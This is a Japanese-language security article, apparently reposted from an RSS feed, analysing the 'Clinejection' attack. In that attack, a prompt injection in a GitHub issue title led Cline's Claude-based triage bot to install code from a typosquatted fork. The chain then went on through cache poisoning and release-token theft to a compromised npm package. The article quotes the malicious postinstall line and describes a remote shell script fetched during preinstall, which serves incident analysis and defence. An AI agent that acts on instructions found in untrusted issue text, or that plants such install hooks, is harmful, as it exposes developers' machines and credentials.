
2026/03/06 1:22
GitHub のイシュー:開発マシンが4 Kで侵害されました
RSS: https://news.ycombinator.com/rss
要約▶
日本語訳:
要約
npmパッケージ cline@2.3.0 は、2026年2月17日に
package.json の post‑install フックに1行を挿入することで侵害されました。
"postinstall": "npm install -g openclaw@latest"
CLI バイナリは以前のリリースとバイト単位で同一でしたが、この変更により約 4,000人の開発者 がインストーラを実行し、悪意ある AI エージェント OpenClaw をグローバルにインストールしました。これにより OpenClaw は完全なシステムアクセス権を取得しました。
攻撃チェーンは Snyk によって 「Clinejection」 と名付けられ、GitHub のイシュータイトルでのプロンプト注入によって引き起こされました。Cline の Anthropic Claude ベースの triage bot は、タイポスキャットされたフォーク(
glthub-actions/cline)から npm install を実行し、Cacheract で GitHub Actions キャッシュを汚染して悪意あるアーティファクトで溢れさせました。このチェーンは認証情報(NPM_RELEASE_TOKEN, VSCE_PAT, OVSX_PAT)を盗み取り、cline@2.3.0 の悪意ある公開を可能にしました。
セキュリティ研究者 Adnan Khan は 2026年1月1日に脆弱性を報告し、Cline は 2 月 9 日の公表後 30 分以内に AI‑triage ワークフローをパッチしましたが、トークンローテーションエラーにより盗まれた npm トークンは 2 月 11 日まで有効でした。侵害された cline パッケージは公開から約8時間生存し、その後 StepSecurity が検知(≈14分)しました。
OpenClaw は
~/.openclaw/ から認証情報を読み取り、Gateway API を介してシェルコマンドを実行し、永続的なシステムデーモンとして自らをインストールできます。
ポストモーテムの修復策 は次のとおりです:
- 認証情報ワークフローで GitHub Actions キャッシュの使用を排除する。
- npm 公開に OIDC 出所証明(provenance attestations)を採用する。
- トークンローテーションの検証を追加する。
- 公式脆弱性開示 SLA を確立する。
- 独立した CI/CD セキュリティ監査を委託する。
本文
GitHubのイシュータイトルから「4,000台の開発者マシンが乗っ取られた」までの5つのステップ
エントリーポイントは自然言語だった。
2026年2月17日、ある人物が cline@2.3.0 を npm に公開した。CLI バイナリは前バージョンと全く同一で、変更点は package.json の1行だけ:
"postinstall": "npm install -g openclaw@latest"
次の8時間にわたり、Cline をインストール・更新したすべての開発者が OpenClaw ― 完全なシステムアクセス権を持つ別AIエージェント ― を同意なしでグローバルにインストールされる。パッケージは取り下げられる前に約4,000件のダウンロードが発生した。
興味深い点はペイロードではなく、攻撃者が npm トークンを最初に入手した方法である:GitHub イシュータイトルにプロンプトを挿入し、AI triage bot がそれを読み取り、指示と解釈して実行したからだ。
完全なチェーン
Snyk はこの攻撃を “Clinejection” と名付けた。5つのよく知られた脆弱性を組み合わせ、一つのエクスプロイトにまとめ、GitHub イシューを開くだけで実行できる。
-
イシュータイトルによるプロンプトインジェクション
- Cline は Anthropic の
を使った AI 主導の issue triage ワークフローをデプロイしていた。claude-code-action - ワークフローは
と設定されており、任意の GitHub ユーザーがイシューを開くだけでトリガーできた。allowed_non_write_users: "*" - イシュータイトルは
で直接 Claude のプロンプトに挿入されたまま(サニタイズなし)。${{ github.event.issue.title }} - 1月28日、攻撃者は Issue #8904 を作成し、パフォーマンスレポートのように見せつつ「特定の GitHub リポジトリからパッケージをインストールする」指示を埋め込んだ。
- Cline は Anthropic の
-
AI ボットが任意コードを実行
- Claude は注入された指示を合法と解釈し、攻撃者のフォーク(タイプスクワットリポジトリ
― ‘github’ の ‘i’ が抜けている)へ向かうglthub-actions/cline
を実行。npm install - フォークの package.json には preinstall スクリプトがあり、遠隔シェルスクリプトを取得して実行した。
- Claude は注入された指示を合法と解釈し、攻撃者のフォーク(タイプスクワットリポジトリ
-
キャッシュポイズニング
- シェルスクリプトは Cacheract をデプロイし、GitHub Actions のキャッシュに 10 GB 超のジャンクデータを注入。これが GitHub の LRU 削除ポリシーを引き起こし、正規のキャッシュエントリーを削除。
- ポイズンされたエントリーは Cline の夜間リリースワークフローで使用されるキャッシュキーに合わせて作成。
-
クレデンシャル窃取
- 夜間リリースワークフローが実行され、
をキャッシュから復元した際に侵害されたバージョンを取得。node_modules - リリースワークフローは
、NPM_RELEASE_TOKEN
(VS Code Marketplace)、VSCE_PAT
(OpenVSX)を保持しており、すべてが外部へ転送された。OVSX_PAT
- 夜間リリースワークフローが実行され、
-
悪意ある公開
- 窃取した npm トークンで攻撃者は cline@2.3.0 を OpenClaw post‑install フック付きで公開。
- 侵害バージョンは8時間稼働し、StepSecurity の自動監視が約14分後に検知。
失敗したローテーションがさらに悪化
- セキュリティ研究者アドナン・カーンは2025年12月末に脆弱性チェーンを発見し、2026年1月1日に GitHub Security Advisory を通じて報告。5週間にわたり複数回フォローアップしたが、いずれも返答なし。
- 2月9日公開でカーンは詳細を公表すると、Cline は30分以内に AI triage ワークフローを削除し、翌日にクレデンシャルローテーションを開始。しかしローテーションは不完全で、誤ったトークンを削除してしまい、有効なものが残存。2月11日になってエラーを発見し再ローテーションしたが、攻撃者はすでにクレデンシャルを外部へ転送済みだったため、npm トークンは6日後に侵害パッケージの公開まで有効だった。
- カーン自身は攻撃者ではなく、別の不明人物がカーンのテストリポジトリで作成した PoC を発見し、それを直接 Cline に対して武器化した。
新しいパターン:AI が AI をインストール
この具体的な脆弱性チェーンは興味深いが、前例のないものではない。プロンプトインジェクション、キャッシュポイズニング、クレデンシャル窃取といった攻撃クラスはすべて文書化されている。「Clinejection」の独自性は結果にある:1つの AI ツールが開発者マシン上で別の AI エージェントを黙って起動させる点。
- これはサプライチェーン内の再帰問題を生む。
- 開発者は Tool A(Cline)に信頼を置く。Tool A は Tool B(OpenClaw)をインストールするよう侵害され、Tool B は独自の機能(シェル実行、クレデンシャルアクセス、永続的デーモン設置など)を持ち、開発者が最初に判断した信頼関係とは無関係に動作。
OpenClaw は
~/.openclaw/ からクレデンシャルを読み取り、Gateway API を通じてシェルコマンドを実行し、再起動後も残存する永続的なシステムデーモンとして自己インストールできる。重大度は議論の対象であったが(Endor Labs はペイロードを概念実証に近いと評価)、仕組みこそ重要だった。次のペイロードは概念実証ではなく武器化されるだろう。
これは「confused deputy」に相当するサプライチェーンケース:開発者が Cline に代理で行動させ、Cline(侵害済み)が完全に別のエージェントへ権限を委譲。開発者はその存在も設定も同意もしていない。
既存コントロールが検知できなかった理由
| コントロール | 失敗した理由 |
|---|---|
| npm audit | postinstall スクリプトでインストールされるのは正当かつ悪意のないパッケージ(OpenClaw)。マルウェアが検知対象にならない。 |
| コードレビュー | CLI バイナリは前バージョンと完全同一。変更点は package.json の1行だけ。自動差分チェックがバイナリ変更に焦点を当てる場合、検出できない。 |
| プロビジョニングアテスタション | Cline は OIDC ベースの npm プロビジョニングを使用していなかったため、侵害トークンでパッケージ公開が可能。StepSecurity が異常と判断したのは、プロビジョニングメタデータが欠如していたから。 |
| 権限プロンプト | postinstall フックは 実行時に自動で走るため、AI コーディングツールがユーザーに確認を求める前に依存関係のライフサイクルスクリプトが実行される。操作は不可視化。 |
攻撃は「開発者がインストールしていると信じていたもの(Cline の特定バージョン)」と「実際に実行されるもの(パッケージのライフサイクルスクリプトとそれが転送するすべて)とのギャップ」を突いた。
Cline がその後取った対策
Cline のポストモーテムは以下を示している:
- クリデンシャル処理ワークフローから GitHub Actions キャッシュの使用を排除。
- npm 公開に OIDC プロビジョニングアテスタションを採用し、長寿命トークンを廃止。
- クレデンシャルトランスフォーメーション時の検証要件を追加。
- SLA を含む正式な脆弱性報告プロセスを構築。
- CI/CD インフラの第三者監査を委託。
これらは有意義な改善である。OIDC への移行だけが攻撃を防いだ可能性が高く、盗まれたトークンは OIDC アテスタションが必要なためパッケージ公開できなかった。
アーキテクチャ上の問い
「Clinejection」はサプライチェーン攻撃であると同時にエージェントセキュリティ問題でもある。エントリーポイントは GitHub イシュータイトル内の自然言語だった。最初のリンクは、信頼できないテキストを指示として解釈し CI 環境の権限で実行した AI ボットだった。
これは MCP ツール汚染やエージェントスキルレジストリに関する議論と同じ構造パターンだ:不信入力がエージェントへ届き、エージェントがそれを実行し、結果として生じる操作は何も評価されない。ここでの違いは、対象が開発者のローカルコーディングアシスタントではなく、毎回新しいイシューで起動する自動 CI ワークフローであり、シェルアクセスとキャッシュされた資格情報を持っている点にある。被害範囲は一人の開発者マシンではなく、プロジェクト全体の公開パイプラインだった。
AI エージェントを CI/CD でデプロイするすべてのチーム(issue triage、コードレビュー、自動テストなど)は同じ脆弱性に直面している。エージェントは不信入力(イシュー、PR、コメント)を処理し、秘密情報(トークン、キー、クレデンシャル)へのアクセス権を持つ。問題は、何かがそのエージェントの行動を評価しているかどうかだ。
syscall インターセプションは、この種の攻撃を操作層で検知できる。AI triage ボットが予期しないリポジトリから
npm install を実行しようとした場合、その操作はポリシーに照らして評価され、実行前にブロックされる―イシュータイトルの内容とは無関係。ライフサイクルスクリプトが外部ホストへクレデンシャルを転送しようとするときも同様に出口が遮断される。
エントリーポイントは変わっても、操作自体は同じである。
grith はまさにこのクラスの問題―どのエージェントがトリガーしても、なぜ実行するかに関係なく、すべてのシステムコールを評価することを目的としている。
参考文献
- StepSecurity: Cline Supply Chain Attack Detected
- Snyk: How “Clinejection” Turned an AI Bot into a Supply Chain Attack
- Adnan Khan: Clinejection Technical Writeup
- Cline: Post‑Mortem – Unauthorized cline CLI npm Publish
- Endor Labs: Supply Chain Attack Targeting Cline Installs OpenClaw